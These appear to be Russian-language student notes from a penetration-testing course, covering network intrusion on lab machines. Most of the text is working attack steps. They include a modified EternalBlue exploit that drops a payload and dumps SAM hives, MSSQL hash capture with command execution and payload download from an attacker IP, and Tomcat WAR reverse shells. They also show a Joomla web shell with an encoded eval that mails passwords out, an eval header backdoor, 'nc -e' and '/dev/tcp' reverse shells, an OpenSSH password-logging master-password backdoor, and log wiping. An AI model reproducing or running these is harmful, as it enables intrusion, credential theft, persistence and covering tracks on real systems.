# Network Infrastructure attack - MS17-010,MSSQL,tomcat, samba, joomla,закрепление доступа, backdoor, скрытие следов, pivoting, горизонтальное перемещение
Занятия 6-9
Преподаватель Ярослав Шмелев
# 6 занятие 15.06.22 Ethernal blue, Mssql
## Вектора первичного пробива
## Ethernal blue - Модификация экслойта
#ethernalblue #exploit
#impacket
надо установить impacket, python2.7
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
sudo python2.7 get-pip.py
sudo python2.7 -m pip install distribute
sudo python2.7 -m pip install impacket
https://github.com/worawit/MS17-010
Уязвимость бинарная
https://github.com/649/FuzzBunch
https://medium.com/@shadowbrokerss
В ядре позволяет перезаписывать в ядре данные линукса - это первый вариант
В smb мы можем перезаписать контекст сесии, говоря о том что мы являемся юзером nt autority system
eternal romance - exploit
перезаписываем контестк сессии на данные - что мы являемся авторити систем

Наша задачи - модифицировать эксплойт на этапе получения сессии смб с авторити систем
В данном эксплойте

789 def exploit(target, pipe_name):
Логинимся
получаем инфу о операц системе, в зависимости от системы выбираем метод эксплуатации
далее ищем named_pipe
далее заменяем сессию смб на систему 
далее мы можем записать нагрузку

## **HTB Blue**
[19:23] Ярослав Шмелев
https://app.hackthebox.com/machines/Blue
Hack The Box
запускаем машину
готовим эксплойт
https://github.com/worawit/MS17-010
меняем юзернейм на // в файлах (это не совсем анонимный заход, предоставляем хоть какие то учетные данные)



pythob cheker.py 10.10.10.40
таргет не запатчен
64 разрядная система
- СОбрали первоначальную инфу
Более подробно
https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#enumeration
Собираем самбу, продумываем сценарий,которая будет менее заметный чем в метасплойт

открываем хэндлер


exploit
файл zzz_exploit.py
модифицируем простой и топорный способ
```
Israel Hm, [18 июня 2022 г., 10:04:29]:
...По поводу zzz_exploit.py пересматриваю урок. Вроде как мы и в ядро что-то записываем и пайпами пользуемся.
Я думал что или или. Эксплойт или ядерный, или через пайпы
Shmelev Jaroslav, [18 июня 2022 г., 10:55:20]:
Нет, для эксплуатации нужно и то, и то. При доступе к smb-пайпу мы получаем контекст безопасности, который затем перезаписывается через rw-примитив на контекст, связанный с nt authority/system
И далее через пайпы мы можем выполнять произвольные операции, как если бы мы подключились от имени встроенного администратора
Когда же забиндиться на пайп не получается - контекста нет и мы используем иные техники для размещения шеллкода непосредственно в памяти ядра, что является менее надёжным методом
```
передаем файл

далее запускаем
service_exec (\\ отосится к винде)
USERNAME = '\\'
меняем юзера в cheker & zzz_exploit


нам позвляет создавать сервис

хэндлер ждет соединения
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
smb_send_file(smbConn, "/home/kali/csrn8/MS17-010/r.exe", 'C', '/r.exe')
service_exec(conn, r'cmd /c c:\\r.exe')
! убеждаемся что где поменяли стоят табы а не пробелы

запускаем, айпи машины хтб и пайп через который будем получать сессию
* python2.7 ./zzz_exploit.py 10.129.74.167 ntsvcs
Списки пайпов ntsvcs

подключились
записали контекст сессии самбе
записали файл
получили полный доступ к системе

подключились к сессии
Данные способы менее заметны и не детектируются антивирусом

NTLM : LM - старая небезопасная
NT - хэшированный алгоритм , позволяющий аутентифицироваться на системе


аутентифируется на smb
получаем доступ к системе
В данном случае мы устновим файл на атакуемую машину, но это палится
!! ДЗ - придумать сценарий эксплуатации который будет менее заметен
regedit, llsas сдампить ...
добавить юзера, хэши перехватить
## MSSQL
## Querier HTB
Начинаем с базовой разведки
Сканируем порты
определяем открытые порты


* sudo nmap --script ms-sql-info,ms-sql-ntlm-info -sT -sV -p 1433 10.129.88.79
скрипты нмап на мссйл


Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_AUTHENT
msf auxiliary

проводим брутфорс


**производим анонимную Аутентификации **
smbmap -H

Открываем гостевую сессиию, которые позволяют нам увидеть шары

* smbmap -H 10.129.88.79 -u '\\'

смотрим шару reports
Подключаемся к нему
* smbclient //10.129.88.79/Reports

Скачали его себе

теперь задача посмотреть его
* get "Currency Volume Report.xlsm"
смотрим макрос через программу
* pip install oletools


* oleid Currency\ Volume\ Report.xlsm
раскодируем макрос

подключаемся к этой базе



[20:38] Ярослав Шмелев
Uid=reporting;
Pwd=PcwTWTHRwryjc$c6



mssql подключение

* mssqlclient.py -windows-auth reporting@10.129.88.79
задали набор параметров на все модули

Модулями сканируем опции безопасности, что применяется
setg USE_WINDOWS_AUTHENT true
setg RHOSTS 10.129.88.79
setg DOMAIN QUERIER
setg PASSWORD 'PcwTWTHRwryjc$c6'
setg USERNAME reporting

exploit


**общие запросы в энумерации ms-sql**
https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
смотрим пермишн сервиса

**проводим атаку responder**
в режиме анализа слушаем

* sudo responder -AI tun0
мы заставляем юзера подключится к нашей шаре
пишем свой айпи\share
* use master; exec xp_dirtree '\\10.10.16.18\share';--
получили хэш 
На этом этапе получаем юзера с паролем corporate
Есть еще методы
* BACKUP DATABASE volume TO DISK = '\\10.10.1.2\file'
* CREATE
ICATE testing123 FROM EXECUTABLE FILE = '\\10.10.1.2\file';
...\10.10.1.2\file';
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-certificate-transact-sql?view=sql-server-ver15
BACKUP LOG
** bruteforce**

Получили логин и пароль
* mssql-svc:corporate568


можем попробовать по
**evil-winrm**

Проводим эннумирацию привилигированно
Заставляем систему выполнять произвольные команды

ОБладаем правами сисадмина

выполняем произвольные команды с юзера mssql-svc
* mssqlclient.py -windows-auth mssql-svc@10.129.88.79
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
### **проводим разведку**
проверяем защитное по

* xp_cmdshell "echo Get-MpComputerStatus | powershell -noprofile"
загружаем пейлоад msfconsole
проверяем права

если есть такие права, то есть права системы
( но придестя заморочится)
Она позволяет с имеюющимся у нас токеном, и
Токен бывает - primary (есть у проуесса и отражает секьюрити ....), identisy token, idification token /. anonimy, **ipmersonation** token позволяет серверу/сервису работать с правами того кто обратился.
Токены можно использовать в контексте межпроцессного взаимодействия. Используем токен, чтобы работать от его имени (autority system)
https://github.com/itm4n/PrivescCheck
https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa
https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
! Эти атаки - potato
https://jlajara.gitlab.io/Potatoes_Windows_Privesc
подробно прочесть
http://ohpe.it/juicy-potato/CLSID/
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://github.com/itm4n/PrintSpoofer
Привилегия impersonate по получению токена NT Autority System
Надо установить на атакуемой машине
PrintSpoofer.
https://github.com/itm4n/PrintSpoofer
загружаем через метасплойт
модуль mssql_payload

идет запись
**Привилении токенов** token-priv
https://github.com/gtworek/Priv2Admin

скачиваем файл с компа нашего
устанавяиваем на клиент

Запускаем сервер и закачиваем

Заходим и доставляем экслойт на атакуемую машину
* crackmapexec mssql 10.129.88.79 -d QUERIER -u mssql-svc -p corporate568 -x 'powershell.exe IWR "http://10.10.16.18:8000/exploit.exe" -Outfile "C:\Users\mssql-svc\Documents\exploit.exe"'
Заново включаем cmd shell


проверяем наличие эксплойта


xp_cmdshell C:\Users\mssql-svc\Documents\exploit.exe -c "notepad.exe"
Подготовка среды для Линукс
Docker pull, docker compose
докер нужен и докер образ
докер компосы файлы скопировать
образа postrgeSql,
tomcat
https://github.com/vulhub/vulhub/tree/master/tomcat/tomcat8
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
https://github.com/vulhub/vulhub/tree/master/samba/CVE-2017-7494
Установка докера
https://itsecforu.ru/2020/02/14/%F0%9F%90%B3-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D0%B5-docker-%D0%B8-docker-compose-%D0%BD%D0%B0-kali-linux/
# Занятие 7. Закрепление доступа и постэксплуатация в Linux Суббота, 18 июня 2022г
## Вектора первичного пробива
Важным ключем к проникновению является **tomcat**

написан на java в формате war (jr только для веб приложений)
**Tomcat** является сервисом, в котором мы можем разместить свое приложение
Задиплоим томкат


необходимо чтобы порт 8080 был свободным
Выполняем docker-compose up

Далее пентест начинаестя
**Брутфорс**
потатор, гидра

Смотрим словарики


exploit

Нашли дефолтный пароль tomcat : tomcat
далее логинимся

При наличии учетных данных мы можем через экслойт залить свой файл
Используем модуль на метасплойт



поиск вар файлов

Тоже самое только вручную
Берем МСФ веном, формируем вар файл
* msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.50.223 -f war > payload.war

Далее через интерфейс заливаем этот файл

после этого при введении соттветсвующ ЮРЛ будет запускаться пейлоад
Запустили хэндлер

**Миссконфиг - дефолтные логин и пароль**
Есть еще мисконфиг - через PUT

jsp & war

проверить страницу на уязвимость
ищем мисконфиги / используем дефолтные пароли/ брутфорсим
## PostgresSQL
https://raw.githubusercontent.com/vulhub/vulhub/master/postgres/CVE-2019-9193/docker-compose.yml
https://github.com/vulhub/vulhub/blob/master/postgres/CVE-2019-9193/docker-compose.yml
https://habr.com/ru/company/postgrespro/blog/448750/
Об одной уязвимости, которой нет
В конце марта 2019 года американская компания Trustwave, занимающаяся кибербезопасностью и сервисами по защите от угроз, опубликовала сообщение об уязвимости в СУБД PostgreSQL
**Это штатная возможность взлома**

Теперь есть доступ к БД

Удалили проброс порта
**IP adress container**
* docker ps
* docker inspect postgres_1

* docker inspect postgres_postgres_1

Грепаем Айпи

Далее - сначала логин, потом брут
Используем модуль postgres_login
* scanner/postgres/postgres_login

Подробная эннумерация postgres
https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql
Используем линуксовый пейлоад

Указываем таргет


R host - iip container

Metasploit заходит в базу ,
....
Записываем данные
Сохраняем файл в тмп директорию

Получаем выполнение метерпреттера
**База позволяет нам загрузить в библиотеку свой файл** или

## Бинарная уязвимость SAMBA
https://github.com/vulhub/vulhub/tree/master/samba/CVE-2017-7494
vulhub/samba/CVE-2017-7494 at master · vulhub/vulhub
Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/samba/CVE-2017-7494 at master · vulhub/vulhub
smb.conf
docker_compose.yml



подняли самбу
* crackmapexec smb ___ip_docker__



меняем версию протокола

ЗАгружаем в библиотеку наш код

Мы открыли шелл с правами рута
Посмотреть самостоятельно
**redis**
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

## Постэксплуатация в nix-системах



## Лабораторная работа
https://lms.cyber-ed.ru/mod/page/view.php?id=19548
## Joomla
Postexpluatation machine
test:test (logib:password)
используем сеть NAT
**ss -tlpn** просмотр открытых портов
переходим по адресу 10.0.2.6:60000 (порт веб приложения)
10.0.2.6:60000/phpmyadmin
### первичное получение доступа
Если за NAT то подключаемся к порту 60000

[13:38] Ярослав Шмелев
http://192.168.50.140:60000/
пароль рута
* root:10921783
Ищем users в phpmyadmin
[13:39] Ярослав Шмелев
to3a9_users

Записываем предыдущий хэш Admin и меняем его на свой
заходим в гугл - joomla phpmyadmin password reset
по умолчанию пароль - secret

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/ru
сохранили пароль

Записываем Айди юзера 530
Надо узнать права admin - joomla папка usergroups
**Наибольшие права имеют super users**
8 - super user

usergroup_map - меняем права админа 530 в group_id на айди 8(супер юзер)

2 заменяем на 8
Иначе админ у нас будет обычным пользователем
Заходим в админ панель
http://192.168.50.140:60000/administrator/
admin:secret

http://192.168.50.140:60000/administrator/index.php?option=com_admin&view=sysinfo
Заходим в **system information** видим что это линукс, веб сервер апаче дебиан, version joomla ...

Нам надо найти место, которое позволит загрузить код, отредактировать на PHP.
**Одно из главных мест - это extentions (плагин)**
Здесь практически никогда не присутствует контроля целостности и проверка разраба.
В 90% случаях это **зип архив**, который распаковывается в папку на сервере и **может содержать что угодно**
Так же в некоторых CMS есть возможность прямого редактирования кода - **template manager**

Более глобальный метод, который позволяет на все кмс загружать плагин
Найдем плагин

https://extensions.joomla.org/extension/simple-image-gallery/
скачаиваем joomla v.3

Нам нужно изменить структуру, либо проще - jw_sig директория которая отправляется полностью, а ней самой хмл нет.

**В xml написано какие директории загружаются**
Придумываем метод, который позволит выполнить произвольный код:
Берем веб шелл, который будет выполнять команду, которую ему подадим.
Для веб шелла нужен только браузер
https://raw.githubusercontent.com/phpFileManager/WSO/main/WSO.php
Здесь есть некий мд5, который проверяется при логине. Так же есть участки странные кода.

Закодированный код полезной нагрузки в бс64
Нам надо его раскодировать
* base64 -d __полезная нагрузка__
```
[13:53] Ярослав Шмелев
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);} eval(base64_decode("aWYoYXJyYXlfa2V5X2V4aXN0cygnbXlwYXNzJywkX1BPU1QpKXsgJHRtcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcbiIuJF9QT1NUWydwYXNzJ107IEBtYWlsKCdtYWlsQG1haWwudWEnLCAnbWFpbCcsICR0bXApOyB9"));
```
Раскодировали

Главный минус - файл заметен, его содержимое - подозрительно. Все антивирусные движки будут этот файл детектироваровать.
При внедрении закладки, он сольет доступ.
Единственный плюс этого подхода - все файлы уже есть и нам нужен только браузер.
Загружаем на хост
* wget https://raw.githubusercontent.com/phpFileManager/WSO/main/WSO.php
* md5sum WSO.php - получаем мд5 сумму для проверки файла в virustotal.
Редактируем архив. Закинем нашу нагрузку WSO в архив

С точки зрения сервера ничего не изменилось, появился только файл с плагином
**Нужно загрузить плагин и узнать его путь**

Куда мы его загрузили
**Для джумлы путь до плагина это -/plugins/conrent/jw_sig...**
http://192.168.50.140:60000/plugins/content/jw_sig/jw_sig/

открываем файл WSO.php пароль root
Мы получаем доступ к интерфейсу. Его основные возможности - запуск программ, работа с файлами, редактирование файлов и просмотр их содержимого


**Получаем первичный доступ к системе** далее его закрепляем
Вэб шелл выполняет команду и отправляет ее на сервер, сервер возвращает готовый вывод, **но взаимодействовать с тем что там происходит мы не можем**
Выполнение команды - получение результата
**Здесь появился новый файл , по этому его легко найти**

Логи запросов веб сервера пойдут сюда

и это аномально для сервера
### **А теперь менее заметный метод**
Код WSO.php - слишком большой, его сложно встраивать и он легко обнаруживается.
Гораздо логичнее встраивать код в http запросе.
инструмент **PHPSPLOIT**
https://github.com/nil0x42/phpsploit

поставим зависимости, создадим бэкдор незаметный
* pip3 install -r requirements.txt
* ./phpsploit
* backdoor
@eval($_SERVER['HTTP_VERSION']);
**eval** - выполнение кода
**SERVER** - массив в котором находятся заголовки (хеадер)
Придумыываем название хэдера, который будет максимально безобидно выглядеть в коде. Желательно чтобы в http запросе этого не было.

нижняя строчка
**Добавление этой строчки приведет к компрометации**
Редактируем index.php (потому что она получает максимум запросов)

сохраняем код в этот файл
Одной такой строчки ( в любом месте кода) будет хватать чтобы выполнить эту атаку
Нам необходимо обратится первоначально к индексу
В **phpsploit** пишем
Делаем http запрос этого юрл
* set TARGET http://192.168.50.140:60000/
в качесиве Passkey - наш хедер
* set PASSKEY VERSION
подключаемся к серверу
* exploit

Смотрим вайршарк

Сделали http запрос
и добавили хэдеры
В определенное место в ответе мы вставляем зашифрованные данные
Ответ выглядит нормально
Запрос выглядит нормально
Код php выполняется как обычно, при этом вредоносным считаться не будет( это сложно отличить)
Но при след обновлении все слетит. По этому надо находить файл который реже обновляют.

**webshell github** можно найти альтернативные инструменты phpsploit
**Логическая цепочка**
Получили административный доступ,
затем залили через него WSO,
затем встроили код в индекс, чтобы скрыть свой доступ и сделали его менее заметным.
Код выполняем в хедере http запроса.
Для работы можно использовать следующие инструменты
* @eval($_SERVER['HTTP_VERSION']);
У веб шелла фатальный недостатток- он не может работать с интерактивным вводом-выводом.
1 способ - обратное подключение (метерпреттер)
Логика процесса: У нас есть вебсервер, вебсервер при запросе запускает php, php запускает наш файл и затем запускает bash
Веб шелл является отличный доступом надолго, потому что его сложно найти. Анализ можно проводить когда он поднят, а так надо искать в файлах.
**Получаем командную оболочку**
прописываем в phpsploit
* run nc -e /bin/bash 10.0.2.15 5555
у себя на машине принимаем соединение
* nc -lvp 5555


 + порт 5555

Приняли соединение и получили шелл.
### Удобный терминал
**Делаем нормальный терминал, с которым можно удобно работать**
1 операция - связь с терминалом
* script /dev/null (мы связали терминал удаленной машины с этим соединением)
Далее надо чтобы терминал нашей локальной машины реагировал максимально адекватно.

Действия:
1.ctrl-z
2.stty -a (параметры нашего терминала)
3.stty -echo raw; fg отключаем принятие все события и перенаплавляем соединения и fg вернул обратно nc
4.stty rows 26 columns 106 теперь в терминале соответствовать будут строки и колонки
5. export TERM=xterm Мы подклчючаем цвета в терминал
7.bash
8. reset
9. загружаем linPeas и сможем нормально работать
upload /.../../linpeas .
..........
Получили полный доступ с терминалом

bash -i >& /dev/tcp/10.126.10.10/10002 0>&1 - **такой способ тоже доступ по баш**


выполняем **su** и повышаемся
root без пароля (так как админы считают что машина однопользовательская)
если мы не можем получить обратное соединение, а так же соединение к самому серверу.
Остается соединение которое уже установлено.
Есть экзотическая техника -программа на языке С , которая ищет сокет который использовался сервером при первом соединении, и дочерний процесс пхп имеет доступ к этому сокету. Мы можем переиспользовать этот сокет, чтобы через соединение с сервером выполнять произвольные команды.
Загружаем бинарник на хост , подключаемся к серверу по 80 порту ( главное не в браузере а через неткат или скрипт на питон)
Отправляем гет запрос, соединение заменяется с http на соединение с интерактивным шеллом.
### Закрепление доступа
Получили рутовый доступ.
Надо его закрепить и сделать полезным.
Подменяем ssh на полезный для нас форк? который будет сохранять учетные данные и пускать нас по мастер паролю.

https://github.com/pentestmonkey/php-findsock-shell/blob/master/php-findsock-shell.php
Обновляем список пакетов

ставим девелоперскую утилиту **dpkg -dev** (обычно выполняется на собственных машинах)
1. Часть нам нужны зависимости (для сборки сервера)
2. Скачивание исходных кодов **apt-get source openssh-server**
Нам нужно найти часть которая отвечает за аутентификацию и ее немного поменять (**добавим бэкдор**)

в одном окне работаем с исходными файлами
* apt-get source openssh-server
В другом окне (подключились по ссш к машине postexpl) ставим зависимости необходимые для его сбора
* apt-get build-dep openssh-server
переходим в директорию
* cd openssh-6.7p1
и открываем auth-passwd.c
Нам нужна конктретная функция auth_password
здесь есть пароль и контекст аутентификации в которой записан юзер. Конкретно аутентификация происходит в опции **use_pam**
Добавляем несколько строчек


добавляем запись содержимого в конец
backdore_logfile....
fprintf ... данные в виде 2 строк разделенные двоеточием и в конце перевод строки. Далее идентификационный контекст юзера **authxtxt->user и пароль**
fclose - сохраняем и закрываем
if (strcmp...) - строки одинаковы (0) , мы возвращаем 1.

**Что происходит:** мы сохраняем все попытки аутентифицироваться в файл, затем сравниваем паролль с бэкдором, если бэкдор подходит то разрешаем аутен, иначе переводим аутен в обычное русло.
Это помогает собрать все пароли и заходить по новым паролям.
**Собираем пакет**
* dpkg-source --commit
даем название backdoor
2 vim
мы добавили патч
Собираем ssh
* dpkg-buildpackage
Получаем пробэкдоренный ссш сервер для подмены настоящего и работы с системой

**3snake** Отладчик который перехватывает пароли в процессе логина
https://github.com/blendin/3snake
_______
**Impacket** для дз предыдущего 7 урока
Вариант кастомизации эксплойта


https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/smbclient.py#L481



```
service_exec(conn, r'cmd /c reg save hklm\system c:\system.hiv')
service_exec(conn, r'cmd /c reg save hklm\sam c:\sam.hiv')
smb_get_file(smbConn, localDst, 'C', '/system.hiv')
smb_get_file(smbConn, localDst, 'C', '/sam.hiv')
def smb_get_file(smbConn, localDst, remoteDrive, remotePath):
with open(localDst, 'wb') as fp:
smbConn.getFile(remoteDrive + '$', remotePath, fp.write)
```

```
service_exec(conn, r'cmd /c reg save hklm\system c:\system.hiv')
service_exec(conn, r'cmd /c reg save hklm\sam c:\sam.hiv')
smb_get_file(smbConn, "/home/kali/system.hiv", 'C', '/system.hiv')
smb_get_file(smbConn, "/home/kali/sam.hiv", 'C', '/sam.hiv')def smb_get_file(smbConn, localDst, remoteDrive, remotePath):
with open(localDst, 'wb') as fp:
smbConn.getFile(remoteDrive + '$', remotePath, fp.write)
```
**позволяет сдампить lsass**
https://lolbas-project.github.io/lolbas/Libraries/comsvcs/#dump
# Занятие 8. Скрытие следов, изменение даты - Лаба Pivoting
Среда, 22 июня 2022г.
**Metasploitable**
предыдущая лаба с опен ссш пропатченный
скачали исходники и модифицировали, добавили мастер пароль
Сейчас наша задача - внедрить скрытый сервер

собираем файл из исходников
качаем
su , password - root
apt-get


компилируем, предварительно скачав все необходимые зависимости
* dpkg-buildpackage - собираем пакет
Качаем пакеты


Маскируем константы
С помощью стрингс мы можем найти строки компрометации

код собрался, он тестируется
Уже есть готовый бинарник, который содержит константу

мы можем найти его
этот файл является аналогом оригинальный файла, но уже скомрометированный

* build-deb/sshd
cмотрим на оригинальный бинарник

скопировали время и записали на будущее
процесс востановления удаленного процесса

пока на файл есть ссылки - он не удален

программа копи открывает файл на чтение
смотрим символической ссылкой файла

**Мы видим удаленный файл и можем его восстановить**
* build-deb/sshd
* cp /proc/2460/exe cat_dump

проверяем пробэкдорен ли он
копируем файл
**поменялись даты директории сбин**


оба пароля сохранились
/var/tmp - после перезагрузки файлы сохраняются
**Как обнаружить бэкдор**
**Контроль целостности**
Инструмент **debsums**

https://www.cyberciti.biz/faq/apt-get-hold-back-packages-command/
apt-get hold back packages on Ubuntu / Debian Linux
Explain how to hold back (blacklist) packages on an Ubuntu / Debian Linux to prevent updating a specific package when using apt/apt-get.

проверка контрольных сумм


подменяем контрольную сумму
https://github.com/reox/debsums2

все ок, контрольные суммы сходятся

sudo find / -printf "%Ax;%AT;%Tx;%TT;%Cx;%CT;%m;%U;%u;%G;%g;%s;%p\n"

если по датам изменений найти ...
Проверка в рантайм


**PAM**
https://www.opennet.ru/base/dev/pam_linux.txt.html
http://www.linux-pam.org/Linux-PAM-html/
3 путь для решения тех же задач

этот проект - специализированный отладчик sudo sshd
git clone https://github.com/blendin/3snake

![Uploading file..._xi0jje1lr]()

* make - собирает
* make clean - очищает

поменял логику автор и перехват не работает
можно вести отладку с помощью ...
.......
Еще один способ закрепления в сервисе

______________
Касательно прошлого урока - апгрейд интерактивного терминала
[20:12] Ярослав Шмелев
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Upgrading Simple Shells to Fully Interactive TTYs
Catching a reverse shell over netcat is great…until you accidentally Ctrl-C and lose it. These techniques let you upgrade your shell to a proper TTY
[20:12] Ярослав Шмелев
pwncat
______________
**Скрытие следов активности**
Идентификация логов и меток времени











замена у нескольких файлов ctime
злоумышленника можно легко обнаружить по датам
С помощью stream editor set
* sed -i '/WSO\.php/d' /var/log/apache2/access.log.1

Удачные попытки входа ( нам надо скрыть )

https://github.com/Macr0phag3/LLC

* wget https://raw.githubusercontent.com/Macr0phag3/LLC/master/LLC.py
* python3 LLC.py -l 2 -i teacher-inspiron-7577
[20:52] Ярослав Шмелев
* python3 LLC.py -l 3 -u test
## Pivoting Обход сегментации сети - Максимум внимания
Макс результат, минимум услилий

Пивотинг - некий набор техник, мы можем принимать соединение, отправлять соединение
Развитие атаки , после проникновения по внешнему контуру
Как будто в той же сети что и машина атакуемого
**Основные задачи**

1. Машина должна быть прокси (socks 5)
Запускаем Postexploatation server & metasploitable

**Инструмент SSH**

Настраиваем сеть
Добавим адрес

* ip addr add 10.0.0.1/24 dev eth1

Local port forwarding - позволяет пробросить удаленный порт на нашей маштине
* ssh -L 8080:10.0.0.2:80 test@192.168.50.140

* ssh -L 3307:127.0.0.1:3306 test@192.168.50.140- mysql

проброс удаленного порта на mysql
* mysql -u root -P 3307 -p -h 127.0.0.1



![Uploading file..._hfs4ognbs]()
## Remote port forwarding

он не работает в дефолтных настройках
без этой директивы мы не сможем пробрасывать порты, доступные извне
* grep Gateway /etc/ssh/sshd_config
* ssh -v


* GatewayPorts yes
* sshd -t
* service ssh restart


* ssh -R 4444:0.0.0.0:4444 test@192.168.50.140

## Использование хоста в качестве прокси
Dynamic port forwarding
- через ссш ниже конспект -D
**Socks Proxi SSH**
* ssh -vR 4444:0.0.0.0:4444 -D5555 test@192.168.50.140


**Пивотинг от Исраэля**
https://drive.google.com/file/d/1Sq0NfPO3J9RMNzRjScJWlOlmX7KPDqvx/view?usp=sharing
Доп инфа
https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md
https://artkond.com/2017/03/23/pivoting-guide/

https://linuxhint.com/proxychains-tutorial/
# Занятие 9. 25.06.22


* ip addr add 10.0.0.1/24 dev eth1
из Kali подключаемся по протоколу ssh

**Конфигурация соединений**
ProxyJump - упрощает жизнь при работе 
~/.ssh/config
```
Host linux
Hostname 192.168.50.140
User test
LocalForward 3306 127.0.0.1:3306
RemoteForward 0.0.0.0:4444 127.0.0.1:4444
```

мы будем всегда аутентифицироваться по ключу
* HostKeyAlgorithms=+ssh-dss
Построение цепоцек прометжуточных хостов

```
Host linux
Hostname 192.168.50.140
User test
LocalForward 3306 127.0.0.1:3306
RemoteForward 0.0.0.0:4444 127.0.0.1:4444
Host metasploitable
Hostname 10.0.0.2
User msfadmin
ProxyJump linux
HostKeyAlgorithms=+ssh-dss
```
копируем ключ ссш
* ssh-copy-id alias
* man ssh_config
* ssh-keygen
пробрасываем удаленный порт на машине
-R - попр форвардинг, который позволит на удаленной машине подключится к нам

* ssh -D 5555 -R 6666:0.0.0.0:6666 linux
**Инструменты С2**

Нам нужно 2 порта - 1 получает соединение хэгдлера, 2 сокс прокси

exploit/unix/irc/unreal_ircd_3281_backdoor
set Proxies socks5:127.0.0.1:5555


10.0.0.2 - metasploitable

cmd/unix/reverse_perl

lhost - промежуточная машина
set ReverseAllowProxy true

отправили команду с бэкдором
через прокси метасплойтайбел заставили работать с удаленной машиной,
сессия прошла через промеж машину и была зафорфардена через ссш клиент

**Сhisel**
https://github.com/jpillora/chisel
https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz


если не указываем путь то по умолчанию - домашняя директория
./chisel server -p 9132 --reverse --socks5

делаем то же самое на удаленной машине,только в режиме клиента
https://github.com/jpillora/chisel
GitHub - jpillora/chisel: A fast TCP/UDP tunnel over HTTP
A fast TCP/UDP tunnel over HTTP. Contribute to jpillora/chisel development by creating an account on GitHub.
nohup ./chisel client 192.168.50.223:9132 R:0.0.0.0:8888:127.0.0.1:8888 R:socks

nohup ./chisel client 192.168.50.223:9132 0.0.0.0:8888:127.0.0.1:8888 R:socks &
(& запускает команду в бэкграунде)



chisel по умолчанию запускает порт 1080
lport - настройки к хэндлеру

https://github.com/ginuerzh/gost/blob/master/README_en.md
gost/README_en.md at master · ginuerzh/gost
GO Simple Tunnel - a simple tunnel written in golang - gost/README_en.md at master · ginuerzh/gost
Более сложная утилита с большей возможностью

**Доступ к удаленной машине без сокс сервера**

агент ставится на нашу машину

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./agent
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

./agent -connect 192.168.50.223:11601 -ignore-cert
sudo ip route add 10.0.0.0/24 dev ligolo
роут позволит нам рабоатть с интерфейсом
start

для нас удаленная машина как роутер, но обратного соединения нет
Космическая скорость работы с удаленной сетью
Проброс портов через ligolo
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp

для принятия с удаленной машины на свою
**pivoting mererpreter**
https://habr.com/ru/post/326148/
https://www.offensive-security.com/metasploit-unleashed/pivoting/
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.50.223 -f elf > met.elf
set payload linux/x64/meterpreter/reverse_tcp
use exploit/multi/handler

portfwd


настройка роут через сессию метерпреттер
[13:21] Ярослав Шмелев
route -h
[13:22] Ярослав Шмелев
route add 10.0.0.0 255.255.255.0 4


use auxiliary/server/socks_proxy

curl --socks5 127.0.0.1:1080 10.0.0.2

Проброс портов

portfwd add -R -l 3333 -p 3333 -L 127.0.0.1

важно: прокси удаляем
через метасплойт менее надежная эксплуатация

скорость сканирования портов - медленная
Заставляем работать утилиту через сокс
используем proxychains


ускоряем за счет таймаутов
tcp_read_time_out 2000
tcp_connect_time_out 500


Совет- ориентироваться на Ligolo


техника сокрытия коммуникаций в СDN
https://habr.com/ru/post/354814/
**DNS tunneling**

https://2017.zeronights.org/wp-content/uploads/materials/ZN17_SintsovAndreyanov_MeterpreterReverseDNS.pdf
https://medium.com/@petergombos/smb-named-pipe-pivoting-in-meterpreter-462580fd41c5
https://github.com/BishopFox/sliver/wiki/Pivots

**Это маскировка и обход трафика**

## Горизонтальное перемещение
Lateral movement

.....
14:41 Продолжение конспекта

создали пайп , подключаемся
services.py -debug vagrant:vagrant@192.168.50.201 create -name 1 -display 1 -path 'mkdir.exe c:\\smbpwned'
